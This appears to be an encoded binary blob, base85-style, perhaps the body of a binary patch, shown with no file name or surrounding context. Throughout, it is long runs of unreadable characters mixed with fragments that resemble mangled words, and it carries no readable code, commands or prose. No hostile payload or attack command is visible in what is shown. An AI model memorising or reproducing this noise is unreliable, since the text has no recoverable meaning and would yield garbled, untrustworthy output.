zMGRTNPI>8#K^dQq%Dro3BdbAQ85{uoEWrSO^RtU&km`~j{?1X9!=!-b&c^%O(gx+# zKpS12n~-u-&;K56(&^xgzIo&dd0nCAl--%zm+5 z#b4I<^b9Ff0H$0m1R7YD?p7P?LyyiUD{KIPUloJD8$Um{AJe9%7eshA%W7$fb zJXI+ZG)tD*6bAVZKVOg>`wQT2tUa_3u6_*det8vSvv4Q!C{1f<43O_ya0qL~u!&96 z(6s8>T9YUFPK~{W!MC9bo9~nD@6ZP-FV`HmzPUb}42n6KyN8~RpquwT_(-NeTZ=5I zo@#R$J{U$oG3g^pCDr4D`_@xp(1H$&f`;<&8qIA}#s6INcsO@Zz`7EBY+*#->WP`9eqbo+Q$( z@(I}}2hmr24O-x6a6WJ3cPFS#*NV0H;q^}(?~y~p9ozD|%Du01@cO>!QOY*5LI48O z5tA@F1g}C*KeU*Am5wdSl@HGnxQJ~6T~;&2%Q%J)y(C>1GOWcr7TtzfOEj_~zxs=J zWc1L0^!@&;*a1KrRO9~x2UGcyj9mZVT{6AS$juwqMWv4Q9kH<%Y9K^t_<1P+p3&|2 z97=BLdTQ1ebq+oM?m4-8bzU;B9+S4$j)@=7ZA6X-6jM*Cz)@Fz^;21xotGIh94>Q* zg`_{=e*H<;q>W4#-ExR^vbsP9lv(!tsuHeJh)H${SsC=wd-G=`y9$D6M{_#YLK>g| z+Jl0t!nZ`r%%{NaQ4$V4M9ylBid7H25&l?dI#`Xy6k@{q@A9iV>`$a?qedmzI`(T`c_uF{8gXk?oVAom^WClmdeccA%z@L-=D zeeJZ|xj2tbMt4uMtX5LQeqJL;t0WhZfBOJ~P}^Knd(;f?m0pBy+>wtyzatgqnsG=F z8VCC8kzslHw_aS!y3h)chN3N(oGapSOd2{m-Jev)s+vRv@whrZCk1qGYR6K0R>Q^6 zUq#6Zwq)3{@&E}Wut<~u$H;^5?)-mWVVCO0mhCod*=d7cQ9G8}v(l9oNpbxu z&gQGw-g^(7Fb*#n?}x(#%QZ^;xX_PdWw2B2>dO19@4_YpRb7VaGS;~hRvk*;tm`ldylK{3VLwPcW3j`(R2}zj6U?tfH>gG zK0|k^wpT4>_>Pskx5b4WES5bYF274O`FW#yQ=<;-vKefjIr!RUZ7N119_c>>mzGoT zlIWHQj#-=b27J+BMsK>Oxnp)k<&lT63PcyzTPB z_kLIUXXoU?e|T4x33gD7@EW(EKnHg&ypImzuAB(}kSsc6jm6=-(`)4zv@U!;{B3gZ z^byHV;`3qQNmt7`$*r81WNYt^c~a#^l`mbyUU2TCD^h?aT6t2Xh2Q?2m!u7lyM3Ni z$9MZ;+U&yE?20mo4NXT+ZFZVnYw_+SNiEzZ+ueO>MZX)b+IyUV4sixY*~7?)#n5j~ z9B9rbw--Cmv3_x_B*Zbhz@ABfW$vz|qfYtN`!4Kl6wZd1zn z)hSk8hIJgQx{NPAxdq6GO%DIjDfko0-X8(VxOB_F>-*443IIW=?&A32=gx#r;REC7D<< z?K#dsNSuLDY3s(f0(+$8Qc4h^no}>Ul?;4VAK30!LMY4IqSr>x>`4v zxk*9+mmJc$%;(lcDJ#Jb1d?2Q@4Te>jF#>2cBZeC22G5d`i2BLx(xnO`OHR(9p_Kw zFa4U8WRHBM8h!Tub^ATA-vbZs0V~J!;4AlkedImR+UgL^bfD$r$rF$Kc~8#+2spqw zd;H2p9DWqhVqI{svB^5ykBbKeUKTA8VGcJpqUqOO;Kg9-r$j@Gm5RpF3P$=?OB zc0m^737JDF)k9jXrUMSx4AX8!gsoS0tUqY|Oqq#x(gs%AJ8`sHfCW&+zbOpas^*Dg zGAL&+OiJQVLEb#tRfEb{uVlM3!@*=q(#tb)VSGg{+}iA1(%#o02VWQ??KuJ-`J$Ro zb#3?5ugLc}!sB#1_R8~;@=c2Uy$RmCD#9wNbM89E?IrnQd`UV|Y7p@>7jTe88F%-r z+$Xj8*-O;5#z;fbVUW8~{G@P5#68fMFV9-1*VaXg!zW(XC(KI(yR{xhnYo&*1{}=G zC{BE@9co88V=9{;-WLc1n#Cl!C?CG{m!u@WDKl`~8O*;~6qH$z7k=;W|3hi*KQ0GR zGOPz2pa5H%kl*~(k7YTPllvtHN;w>bap3X=JLCs})6(7RkbzFJ+BBgZb9r5)9L5Nm z!4axXtE57KnGHc%ay|5$Mv4X;ND_ezG%%f&jkENP)ZW}R1<-pU6Em{7g5kFoaA3n= zU~k7M!UjX=HTTJ+$n%Q@yo^bP?M zGx8|`2g!83snkV~!I^KE0SAF#eG?xfCC=z(1$p5+yl!oj{-?6tB31leR z8?W1RA64a7{c2n#7^0L_^h#P-Kh+-Er5bFYb5#Qlett=jW}7LXMY=q4=!NGnz+n_d zX(Mx0MOl>>(%NR`kIMPmQBu;|nhZD~SY-TD(pb;QC!b%IrC80)iubo+xM=H?zm-H0 z%rj~VsAgLK*sdibjf)HbK0G>x^qdE45Khemst!PxE{u!gW(xjG{W zT**e|>aX9zX)+@J4Ukf-OAZhBB-1_+Ea&{`i zk;ZMRgt;vx-tdSFywWL$2g7ng9ex_z7j^G(dU5D$A!vblv0c>R(%hyRzBuRh8$K z0KERouMdj*Zmaz47M`T^uUT}KOpz%rCV&0Yi_!}Z^u`+_;=l<>O^rKglOl~)^7FE? zFeUH3jUhS-8cFqO=7(zPdf8)w($momEtTD+ZztKV9!|2P$BotvRFDdmhOQo2Q z0s#k6p!u#6@S85Q$QUR$jRs7q(SBv(x}=tHc3zw|0uE|**FKGagJYdC*cD_y-4n`I zt9t+QOYQ-6i^u(R+x?;p!f{i~zabCKfCe-xpWK+23s;)mFTUgs+4T5ozyY1m3u5Kz zBR+`|RDZ)7aF8V6;Nr*PA^2xH`h6)8oPfT%0pqpOWktV=%ayZV$oQqpf93`8} z=rDQ@_PO#P@aQr7BOMP{c{) zV!b@2$hIHoCk20a2WE2wonbsH5sWU zZ`_{}`Oeq+WPpGJy{3`zFa^v!Xn?cw#V`M>EXPx(ypb)5E0I8t)hXX>JuDqvJr;Sx zXjTLN)B+A%^6B*mfd>_NaWL4hGpCi`oq^w-+~SEo(E3gs?8tp%T>a>*ER#u~ph2EZ6mO^xU>c8vLwD=f zVzrJH0uJ8&%Xehq^l^Fpn=eWGD$ZqWF9?co6jAS43Vap@O7MfQ)# zEV_+#_Z#EU5BbMjiygfLa=&m)vN&qA{6-z}Oyx)go-DugA$9i1-T6P3Y>Q6@gU#t& z)wwIZctbvW|9$z(AH6RXoa1u))#aD)Ai!jfMI8Qrg)J*xb&X{;tj@DHA!8D7uwo0z^R%UzfP+=mK_wpn zeB_$^>_7fHNx(l(VinBexSvQ8{t)h#_QPMpE`^N=TQ+7BiYeD#eE(N+|N0$Sz!@w8 zFIa&uECaT8=DUAS&bUUU3%krf2iYSU)GMj}&>I9DS_4w?b*L{&)76$`!tGS@2`MF} z2+|yvzxWS-M#e4rq8<8MY?Wlp4}xx3`c9vgUO3CP6D0aTRqzZ8z`UD z7_U_S2G90iy6Y#&LL8H87Zzkb$vUyTum&6qo*JzSII#TOEkSp&?CfCE6Bj8*s~jd(5KU`4+87zdEwUs)WULwQi^cUv|)(z~M zrr#&ymD1AnV$yU6L2L(l+tBS>Y5MwATb-?fmabguDz?HJ*Kb~D&NCMPOlQ9LeOW}m zFz^@W#1_lcfv9PK%e~Lul{tdqUU=z6vT%o?5AF>C2U?fi2sjuyby$+vN31-lIzQ)^ z&q>O*bDmU#4U{LHAPDw9{eORke@CT`C++U-loPLHZ-P{pfR1xJ^-r&WPH(py$z4&4i|x;UKu#tCnRR6 z&SipU@>76~h@3sQq0;J~8Z@JGIiyiJTNb6qDFO}%TKMVT5I_}`yCplmEcjsHE7giF z@Z0}*ScZ-S0IWp5ZX)17`AX$4y|L^DUny`c zdHeP5_ds(!fDud)Mw9Wl+?Xg!G!81iMYq(7@?iADptKVW7a+n{nUURYBxc0mI%2IZ z5>-jn#Gf(<&vz$5xpqfnEZ8j}oIN)dP32l5GFlB8)>23%Wd6!|DR*_qL}ZW@PXXx- z5J|Y5#sq_$-P?^(u1yAegYwFu78wUoTaQ}FrB-C-$}hzh9h9H6gWQ61(V6F9cu}gt z|7_|HP3xV+F*<|t;8*W{B$HDpb|M?ieCklsRU14hpcp z|EP2<+T04wDtB$0M9q&`5Ix)H$Co2|Dw7sTrjG~hFSON&Ff-i z>LzdTSCXS&e~GSF9Rg2`^cW7wTW);naHWXgC{8ZD|DMcGO~|dOC7D4niEAKAV9@1D zipmb7^Y31vmACQFCi%{VFY6^cwB2sZeX zY+3Tq(*(|-`LwRC^`hzLxKdXfa$w)}PCq!a3JC4CS)I zlfZx#c#D%n@w??DXjZ`{GR+w4O4paxZ><|8QzdtqfP+B8bvr?uYNOx0%N6GA`h;Jt zpnT0KffebIKH?tzWKrizG<&httm`=$s$d!6%sc)asAOf&(Tw0zTm)J@~ z{`!LnS%@qXFt^SpDgWgTquA>hlmKWUL5Q_`y*rG0pR9khaVUp8?Q#kS_vMIB?q8lK zJ6UyYpzzMeuYs5dlEsBG&Q&7MjrPci(Ox4htBESM;f*w1d>O+dnGNn;#+e0V{Ijic{Dq7NZoHM~Q1UwY7N%`!9<N2xp#B2uEDK7vL1Mkh%YnTcY@A5I_6{l{OGmC8NPY3@jrzFOvCrn?ENkRX9V4Ak-Rl>GUh*x3U>hWo}D z1C_EHAL3xP(JYT9#&}WqENyKD%&EW~M;m#Hg+FzV;lgqZQu&;0rHFFx1I@ zLtipiH+G{Z*ejg}&PacIR1OG13*2YrwiC+{`Q+`tkh$R@@!P*mic>c{O~`0x{rb@- zl931_^1{RwNw9w2`S1#-aoL+UdS}(QzVtF|(?_N4?1e?4(7ACMr0~9uw+J2Em9{lyYAIQ|yG&I>dLpR^^ z^n7E!aj0)dMqm7ze37~>a_g3*`Kn9+0Wxw=e)^*y%kXfYIDY3v5LcbjM*!Dmxt!p? zLV{GvY5C&ZuOtGE_34=B$N=ov!<^U9$6GOiJe2932!1=F{$ z$j5K}ne_Gb8gw>{Y;br$1L(F|7wf3x8DtElvr|)KVT)NgA7pE2tkT+!;INDmY!IqL zy?Y#Q{`5Q}v2aJGKL44V!_ljZ#cFK0Q$`PT8qPv%0JO&I)c8b#3nnj19JKYfesu+! z6qPgq!s|u%@ovTsP>k+Q>I+IY!6XkVnr3_}y^Urf-Xn5o>^V73ut9iRr+3}c z;P*XwL*59_dgSWG8Oae8V3ex75idvN?e{`*`~IN3e&(Q&flFnL`n6VldR5*?<2*lc z?NgZ~TH)inWRA?_tMUfUE%b*18uYgNrL#`nsMgWoM<%{VAoO2Lc6vy9J#QL%`xlP( z5vWUm`=&Y?<9E^Sac4JmjLCs+<_n1SbpZ#+(>A*g2Q42N=8&7SHd#zS3#wyTVeU;_ z`bd&ECtU6Pwq){s(iI@^U@OE)9G5BtkR)Rfxp(DbnY=e4pU&qcnPI-D_|Qyg@fb4P z@IhqyZ}!NAi4-(%Jy_0k@1G~jYDNC)&;Emv;rg4eBX6{^ehrz;bkI~Du8>}qd?qQE z&VMSAc>+eSFUShP26Jhpr#mV1nIkA}e_mdErCXLFgpOS!Fd99iS+w)iO(!YWKL0>| z^d~EF{OBP$c4P!}Lk|uIZi80oN-ndGw0$c}1RBu3WIQJ4c-MGx6(mNpwr2nJqH78t zIwjqi`!Znr1UV2#M2j4l%cSL_pZ`d@dU_=IgYQcR4y%Xy0?4`AqOFVCQt}*EKD)qi zUM^j`Z^&zE&nahf*kXd>??J92qo5CDNZsytM~}B|$5-K78xBTxKaStHUaJn@mTZyB z^A#bX%35ihXE1N6l+kZQ#w8Jt%FllB8<_{$J(;#tXp9zmL^2W{!PYViKvy5=vis%H z^nkcyK!5-i`>`m*j-8PJNZVcQI6kpPm2a{ZSD*{Jdt7<~(=x&j zD(zY|C~53$SKj}z#D@kY>|&21Q~0Sv-G+{BvkZ-{j*J>B^ApguWqJGTIQF?IbTU@y zgJ22*GMxczb7bNQve&ISd6BWm(MGn7oI_3@bV?UCr3opUZu~i6-Jj$zq?v)eDDfvZ1f`unxM(B29mz zxLVi$Q7c(tDscdy$Z(LU*kqXu2Nkj#XoiF9S8hr)`?eey4$Fb?YxE6)X^OCJ?O@CK zDr+*iGAX%qLO%R-M(zAqZ_oRIVEi?bW>_1sQ}9PDqG ze)iRteO;Ml1mQved@Q8MXbrg66uid9j6|&tvIdeZx4)lE@|^EQaRT@lK7jo^4Tww2 zZM3pwBM=9!jq0Zj=irIOv}Elb@%1>#B5z#@%A08R0_Ddy^Xv&S)qV=Pa&oj^UOez3 zrXPo~9(U7jb!;z})v>)9hDP57z7d5KUJtliZRj@L>nbGGx~3F%I_8sbTV0lysRX~V`1 z!P};+^Q0HyNk5T!vc4?ih@C?aweqC?u1@h0d9%-xZqt!mKxEye)jvX=0U0_vAYs5CjXi3si}+5#xPpD71Ujz(#&CmgYCvimZ_qa2%x&w0 z-yx8&N$2W~wLP7GYfqxfaOdRt*T@_)>yR6l79?KA;_f_ob>aN^XU7hpvOi#|pkst_>ASjWdwBkzMWUW?Suhwht z%6pD|j@G;0^t+i(tG#acf)tT`2UJ)@LvKHWX-v(r&|HF1$jkgE*GTj$EhvRPT^_DD!D+KoZ0>X z8OA?qdf8XX0W<%>J13?2MxVqzcgZ4r=6b$T#>Z-?UD{i&$&2s8qu>{p>MNz056X5F z!JibZ_)4uBn$#w4zu)eG?H<_j9>`6@w)|Gx6>j&y=6k?GXc#b&^%q;_QBYe#XQC!2 zN`kuGl?HLihk`qcnksSX#$Qo{rXtoVOO%QrwE*JqH3AMsZ9Vd(-9h%*)y|!Z2)gqq zTCxQk^qxB@^Rbw;_B||ft~?A&8gP)Sc^DLMU{zMBA|8}uwL}8mSR~*eDb%WhyyNUE zGTK!`_JuNOtS^9tI6Bnn;vkuN$pg+L&BZYQiV{f3eD7cG>h@^(mQ`+ z(vE`bsBAyDgdNN0$Yc?4N}r~}lGvvTQrhdlFU3;NrH@yFZ}v=P#c#&<~p z0S7@+hh~q&w$A;0|FzbI$KjEta<4>YRAZ96h5=INfSdZiEYenCtJ5;ksNYT02kI@PQ5REim z(SuJAIseMrQdAt5M;E4t0>BU{oC#K(}J8 z*z-!n!J!Himcy!N<3dw3&|r*!0}bR#Empt*$VvouY@PDhT7$jKH%JHnhO}cBR%HA{ zvDphjm)K3f0nRTa0gNa4pcQRRS(=|FTEAJ^o3F^9|J4s=OyLqziW8KMSO>-f6p?$X zgLf$4KxY(){W!?9;~;Y5%r!C(C7)lL;|XB^sNExhD1mruj9W_6*LiC>$T--@YASHB zocBr(D8*>pR<0XpAClpLW+@=8_RRb~446ioUHRS2{pEmzv~|FGU!1utGxnQux$R3b z;{iQ|Of#DaI5738W|aEV>!zQk&&Z6;yWzU?Ouzxkh3;wNgphaubs$}s{z%40!}89V zhorQBPWGYP&qLv&yh&zB?C(=#XgTrTN%`^5-pZ-+%Dgu7vrPjI;`L%L7?m>iGtFk9 zD=l^Q_1riwdMwUN$fPSQ_w6YMVUkponU$H(8gMX$Q^k3c+2Faio24Igh}2>Q9Moe( zs0X>HK!~Bt`kblP{BqyxlM?hp`uP3#Rb!MXlvmm@HZBJo=y=QyT{KPn=p+1H`<(KP zFYlM~avUKrs#&OFnNOer2OvQb40GlEmkko+`&T+w(z_!SUZ6Y znqi+AlDW}wP|H)DSSF;W9fQr#9=UMWy+%n^7DnlsE7JiJdmaa~DIA4Py?I)$pT8t6 z3A^#~9i7m;{OAtQIAS>6=R(X#wEFg5-B<>Sn~uxyB+} zRku9-7bD^&K*5K@UX$BPT2j(|XWRT&nxvK;(1-aM@<$O0X|mFgu3b1d?<&pO&t+tMc+Y=d+^asw1o;{|EsGB~lA|jvpB#lRsG1(CsfiS3O__ zsNnQy{DrsV0`g$S@=mS( zbN1eP;&4ehyyQ^{UsXDo8gRgRUmB8r_T1-x_!DVpYDAw1<6I z4l~eM&uXg>SEi$q=c2P3Y@l?uXgT0uOY~3HBYolij&xrWJr)TzXdfw%$L|NDv7A6f z*e6)o41SURpPP{GmiG;x_|sR<%D^%|mFyVZ(U24Eaj7Ye$et>{V6$DbD4Jz9y_^Od z^bv5dFhIZodbug|D1Hov*?F@yZ?VZARY$nKJQV_oR^=(>G_&*78@=svzyYVn04CY9 zW3@arMZm!|0uKC$HL3EH&87hdb2xItAHi2nPE2wn?%PN3Wxkv`e@MEfTsVFEL>=OC zx0lMXJV)6&s;38Oa|$^PtnGJs*Vi>osHhSKWMV1tSSUzPg$auaZn_G8)y z-P3%?8w*C>h<4`5kH{DRY_d5kA#co&<;hELfM9%SNaFD#$pfKNOI}tzt|f1b58x>I z_6u^YeL&v7)+5vCvr@|! zK$ma&{N5P9tHA~$d(q2P;J|~-NU%^kucOZM$T)cf90cHlCTwy>9r2eRPn|kjKYmYo zyyxZOo(9%`fi%&QYyk)A7`8a0dZ%Xj_|>1tjV_$m2sl{FStVDm*z9UM@JM-e5djBr zG7)sk>9l|YR>V@LnMcq3b&L2zVafLqa2<~#|AQEfFk_xmc{tjmvcwBdKPy)+w@4;1 zK(03A{$7JL{F3jTlY_^K(XrU%M8~9btvHL)e@hy0AUMbk5Oi=#?tS!8nYOt>I1Ir% zh0Iv$n9fa)(!MKl?c#NL`cJ=4aK`ky>%mmK#-Dt2P5B|W#0KriftIY4DhE!3fc)Nz zKO*yIRI2Ot81&_esAj;-EeWYDWt2VYlan9G&wlcT(RCQjqAq;&lzI6}5{Q*ap#~h_ z>|!#`tkK5ppVsIByo#MZ0*!F`QXPH)nVwrl(6^^#Fxni?z;edsHr##H@C<+T)3>Cz zKa~U2wm@BMIE*>N(oh+d-PpEb=wPnG{zPeK>r3G7-)m1tM z+Gj=BM#x4?JysTJtxdn@3CV!4h*S0=U@*$!C0*>$U0t{$moALUuD$hg-vbB8`hx6* zfjBE$!L^E1KHhg-Mu&&wZ2}I?UFunx1^jGEfIx$aCiJ1uXY)MT$vobYV^Jn%rVKhU zK6<8gdco|%n7sDpMUc*i<-UUzI3&ZXb4~V@tPC5VVf`&~^WvKXg0#q~-gLf3>&#~_ zt;WV)0sx*sVZTsSTCk%2_$yxK2soJNZjqtEZn?=`n3<8t&0e^p+6p+(_ghh19xnk0 zWQH9gNS6IwE!~#YNBP{FBs`dvHUbVN?LMi)13i%D;HYD+>(UB1NVCoG%h;d>9GpT= zTrVSE-3MqFNXj|q4;O5pn4m;Zwe@x5MeRn|2LP~`Cn&S4?Gn1EZuy%ZJcq+200&f* zl!=nHdV&BG*6hNuIRq`S^zF%C@9aBIA!y$O9C*ldmrm1JQ%eLK%-GXt`n>Ahu~laa zI9OUDK!dfsQJP+=0SDBTji%rFQ>$zM;x`VyR=`1*{NyCSKp6oC^EfSk@Wu&lb5;WA z26rCaYv@gCz=6|4R(B0J=wI9rPa1`uYe4;40S5`5^y8Bs%CqpKIv>=xz)-MMo-`K1 z2^$bZ=JD37z+3Op&;FIVQ)s3gpH$a)304AJrk9>wBj7-twCl)R5H9ks*}qQadkB!W zX&af>u%G5GI!a~Cp;ACb$#SFt2f0uFg8rf#z3MWsY2QUKN2gt$xdgYd9B_bf0$Cei z!+Dpy@)}u~J}$$y97ERxkR<=I2OJQf*xxKIm#@eVfAE3~v5r^P%cgr#d8|Astt}Dv zml~z{mCK|#NOD7oj9A?SHT>wuPKg41($r7`7=TNBC=XZpo~U0S$o`XnjJ@>}^ektu zm|%m|+#QRw|1L`o|WSTeWG;W#w7QkfW9+^W|NFOJ$9KgAj9A=WU!L63`JyD{BRr$U(MYkh0 zPJn`PxL68HmgMZYLDC3Wg5(kwr@?D2=*vL-dALHxFj}jui~fJ5c!*dH7L`ch=pg#D z)|Ky#$c%%-)cCBt{_GDVNJQk7$}*5MNcThani6Q|!9x-Vhl%7S?U&KwC{wm1vFaVN z=b>Md*2T->zj4V39;w3U?BtMiU4B#M`hxP8qnE@>9?@zL~mEQFAh$4hyh?YFsmK*tS)=4grB^Ywd4K}b5v zH$MUCBX!i^yHF@LpLtIP+po(^^F@%Md{S1N&-m%}mf~b`2!#*F0ND-tL0{>^Npmh0 z0zg?tTb_78I)C7vT8t|=x#3)=Gx>{Ka7=f4q~^eJiGuo)Yh6r@49c~WugcJspiEr9 z2s#)_@N!G3s9+Ropq(4~*@QjEchsOkV2 z&xSxU*w@X`BRxG`<~V<`#VFenH5qqmj3z#uYxdQVQWM0vq_b(Vy^4PA#M#nKCJi^K zzg6_r*_5n@j2k!#fB4D|Wbjf%E>skuYF^?gmc&cSwRru0&}%$W9|v{jj!YyqAWUG? z1~DJuNDWQIa)B5Ma#$3^2@VysRODNIdwmjNO^ixUbBBx%TLA}4CQ-2$Au7Z=Lg-WE zoh>3<^B}a%PxeR)0@8_I6xc{K+TKL*;k4Uy?;adEg5rbrYP+|p%;C)4-+obsd)mx= z&8%0A5@R>7;SD}0!xN1%vOxbaCAVrvH1`A9Z+^U+V44xR0@CXR(oT=3N_Cv1hLHL_ zl~T;Bj@cGXU|*3@JCwo73620nuv%f$rGOr4Uci3VvOen^TyXDY{xl_eK@Mx&|khmj5(pb#=92%0=@$@w^JK7F7 z)B7Ohw8#Xn#l>WgifM{oYrX*?22GrlsmV#QnRJ0zIYEYlb{QjpZDu*8w6@>IyelY$ zK8H(Cz=6~kbV4iBdnphv$MAYw0z)XtE^%a(;r?EE`}rT?kY6CJ=jx%AUTGvy)gX=9 zSskqRVGutjC&s0@4Pz7h$H(l8L+pzqmT%Kajb#{P>krmT9T`G2vsQXbR!-ZZH%iq4 z5{^~KW54;RTu0g0{^mzGhC!eBC9$r}tY^=in;n+-UVBEaUnr7~%PYj^E0oGO28MhM z>|8L%1O~N9j{cz$c&t&A;a~vt^8Nw%F8HhrGH3V>Zz=16K!&>;<5Cm}<}i}$BU^N% zy0Jzc`ucHs^K!eiUS6$YR3rB%zj#)>UayQ^ua-jER~{vM6aA^{cZu~q+Svi(>=@&5 zPKM!Ya-rqc?Tky~f&EegpOX)L*wTGKA8EV%(t9AWUxe5<%4kg@7%b7SX?TIw(=W;R zjiAi8o;UJ9V!zPf@kN~MM!Ro<*iR~S_KV@sQR%=zNB4{58cNjm`F?fgTgvddva|Bw z4u`aoMW|&U^(k55$mN5**W~4&{hTP%e5(LRo#ImDTY5Uj#|Nfu&HYn zr^_vY2pKL+7O~cpb6MXwOH7T=8@*g1Ji?{&5`$D`<0q%n(#!eL%lQ%d^|<|lGt5LE z*{}LHEKlA3J(D%~V{xh2ePES5mB^4YH9;Umiacc_2*Vd`l;E6SN*wRP<4qa>jf8BW zGU(0o@5xB#b@_hhc>)f|yj32RctsTFT=-SSYj$!No_2_U`3aEX*mKZzT)s-M!PpFr z{7HJOh?eo4`*A2Mk+3&U@Dcyid6)&ze9yi6s@%MMR+{}Td6!JIuwdp$_G0=wbskbD z8b#wB>g$82BxnY?M_v4M2gxidKSpZ~fg&H4!$%HrluHAsa~mlMd1E2JOLj-kO83&V z+(0wZgv%t0l#JL-NorFKRar#x9{JruQ{nv~J-DCm}(%d?V|P_q|({O-#* zD|{rE=%@EM!i;;E%qjEqksgx(#dOiGQ8HLuzcM02uUtK?S?MfU%Z5kYG&)Sp%+}mLYy#~vM6}e~ zZR))P^w0Q?2gNr!B>PVNRJ`-hW!k1~Ocw68gnr`sd3l%Di|AN2%YpW~j^-kcc-p=} zvcL9&6swnJTMxfWEe;dpe~I7?E>C+zy&L+Q`;OI1eMJPFYHmjj z>(1MM*YAO(4!;m^tGC+7R6#}~rI)GmcNNb7s(K|l2fK~gg`@T&AQrRGISuq`zTUzZ zj*)>U6&Ay4iGzKpYTsdrmQk*``|saD_E&(2R_Vyd?&I-E z<6RF)fPFYbMuP?R8Fj)+&`FEGIthQ(EKhe{fxjZ~kL(<=B7!t@d!Q>9rs+$9yC&f| zx_f&75$Ki61c;5zEUna|ZF8erYB+ij2dokkaG=2tYQeHJt>~iB!PXqEl!72&P&Woa z7FJF4av@NJy8&1?Ezdsv=MoABjV;SZ76`RvsT$G_Pce@@t+VC2OrSr!apMZFlhV%K zl+-V9B6chtw|JyT4mOZ&Bx1Q-+ML+u)DhD+EQhO|(m7z4Gh{zW?1u`vG1YZS`o?|o z^k25J*We6V+awu56>bgpgT*8 zfSXMbn1=J{U;o(z`#N(s7G&IA*wu?ApY?vveE{eno2nUJ`Iz;}aK{yCIVtjTyI)#Q zZiI(t!Llkf3&R}22HLMfJ(i8Q4H}~Qykt)&?#_C_@1>!(N{)W14u?@dHlZb-X0c&& zclv6iaL%_On%;cz1G!KMEy2!^py^7_m97sUBlUBP4fbz{rk9p#pzR&fX4?TH3RFpW zu|U4|P?Pin9Qe-1ZPGiKaD@d7&p-uD$fdKF<;Q>Zp4@Y!Lhe3XVRSz_uwkB5 zGt#$Rs=^NdK%x|$RA+|DN0aP737+)w#T$kvRlZ1nPm}~t8V&pLf%>BRd?cQFYhE4b zb)wbfGN<5er!|a9cc+YEQ(nPN5PP9i7yBis2#9MGJE-t(UsUq3{gq+-RN4U?KpH=* zm)npZ0_9}{MzWT?`1|mkHHY-qU#;RmzYwiIB1_&bsc>CIQYYgmU9chpsE^KQ8~z5v z^2&3I^6~qAd=1DdUR*?yjWXXi}d#NgG)GXWQo-Eaw|RSjZ_ex zdAHPFnv#RztAd))=vopgtHrrVnHj=QakgE4_Vgl|2n(gQrdr&fWaw;B`|jfWxXJX_ zd6P^_*bmO)N1|L+I@})C!cYwdL9W#`va<}}BZBHTvZvaaYvHoE%+3#q`@%J9PUtpx zyHYG(Gzcx$xg5iZX;o0f%DJ?gI$ecDl3zGy=CbmL8U(jmvcgNCD2(3@Ac0X{IVbmA z)>`19@l|WQw?=$q==|Wr_7%Vki<#{waBWK7B=h@~^D)C;7NSp#g#1!O5V0L#4?WaR zO8uqA@vCZWy-r3uz^NJY84mE(KfnxDgs9dUD7*H{4CIb#g8eP2;MX6uT-hiQzORE&(GZ^!_ zuD%6wkWgFi%ni|;$T2Wm+$l2Qn zFgbc@y{~mbAfQA`<=&_6#z@sKe|_pQUef7i3`N&!KJz~3+T|lbcy$%ZfqkUs!U@$9 zfM%s1w1d7I?PknZyLxInbdKerC@GNp@790=0%h`Xl+mBQumvFzRpqI`jRJ^M@t_1YC zgOA@O)wO{PG)3)yP?|y^X?n0m7O$YRy#U5oYQO=QW0T`O^87Q`QRup)X74dl$QH}7 z{X0-{5^X;}YMAKjDE6*h_(WRBrPPCAy{Wq=92GfzJP)A0%_z?c||yJ9C!kU)nb&%G4F;19=+wJiW=wV z$8gxfxfTg#ghQ#LW}qm*7*xoS$9rveDh0Lfp{h8Xc@f-tnmY+RNQ{|^Iw-xJK~Q^K z26<=80uG2wpYFQ?0%pIQASG{R@rMfK$U}Pw0P%s2xy1no1dR-|<2=yYXAGp7_ttdB z8gQ^U9FSq09MmCLePS|vkTWma)MpLMSs3p$=?$+8PRl1a+hvw0sF}OTI24bOf-m#O z+xTp^J8;aXhn9k3su>RC#!78VbDivMoj67>Nc$iNGbo5kiMB}Sy%jNE0}fmS9C&!I z^GWAfqNsz})enDR6hP-LREiU2vmaHj4`p!O(JxEgks>)<>(3f+U^B`kg8If6HdMEp zx^;c&I!n|o(2_*Jf!zVm;2p%&0_~=Ihhaq$Gg|`=+6XvMQU2W9RqXHia^LY1UR}^K zdYeGVuJb2B4ed8*R;m=a{bKP#P832Ka8TJ4l^3p|9LN@M0OEQt$61MT+aj}n=|1Li z={%WcjgCminJY4jLjaU9i!xpBMYbnU&W;?clsyOPpo^cMJaj^bK~$+hIkTf3qQ@z^@YEYZ;Mz{9YS?Lvzlw;(p)EvVZ#a~PytNXb4FRCIHz9XXyE6N4|2kK1pP8mV2IAna|Fq?{?$!2=Kjzfz{g2BhV~7o`Qh^wg^r%qO?mFTA>6V6((kdrSa93s*B6LeU z6$CZr%b^|24-EH8XJ>I#Yddiod2l)hpOUPxo?tVjv(;fMpgZ}?_Pbm?ph%;7bX?At zH$e9eV?f%!w-!Fp;u@yLhNQ3gtjw^V-^9Tr;bfFqp9TRm9&3{7#=Q~;v1`5T270{} zaDZ+kFq5H|Q!bl;gNb3ImvbO@mR8`HT!3*)^>TTZUarFFmkMsQB>@LGnk;}qJ2ToP z>&a8G=+??p+7}vd;Mj9uwLG<)QBAWKq{>rH(9SgAV3vS`Qg{?Z7y*2Ag^yP~*3I*l z9_#!&CES6O@OST$eRnrW6kTMDLmfxQ8T+p8A$j%nPh^TQR-J@O2&qL;ip%#OM2|(l z0nVj?UjhR&53N7{uF6|?t|)?BaosUcFbg`McoFWM3(<~0gzNGOX z00YM4K=oS^m~59GoM}dJVoet1pXQ|vz#Kh3ouUB;9%E;D;E5yRztAkte0&|9>+%9v zZp1YF?TOc)L(X-}du2_andZp>vf+dZT#PrT>pZ)1+BkO&K#UY)jAO?6_ z^GJHY0amR!9K}w&@w~aeFNzaV43t=WYvYC3Po1;qX6IyJ095kRmszjr>pR(KrTSF> zW|YX$UFe`o0fAT@dA5AIrIV>{!uArKmzE#$b=H7`0Rj$QaP;IA5YMnn%~!W2AfX1If+9nc|omzxA1Bs}60l`Ow%z`>peEdDCu13B2* za+iOF*W`2Up>k}_bC%{XHQ>Ow$c;%~PbbcGXQePyWNcZ*F?4{~vNUVA3&+6eiBb9B z^_OG_FsSTyHGOUkI3S=c5|IN093*VbHiwTfC);qKTMkyiZ@cYsfvgXS{cs7J-9-0k z4w0v?{sP^GUyeWUP4W4$Khy;YRItNWcM{|_B5%L`I)MfRU*w?e#%VtPAOQzeQeA{z z4<2H*y=l2?ennq~d%FRp`B-|$EWMbL;w#a2E^LueoTiI#`rk6$uN@m|L0tU)ZrMc; z$N+}CtMIppfP*n6!9n?KNslQ%YWbIC0 zm97?%@3)+gLfT%lqY@pl7f{B15+(qqVLwiv$RW8iXP6tU{2A`JDtb_*yu9-5R=?5p 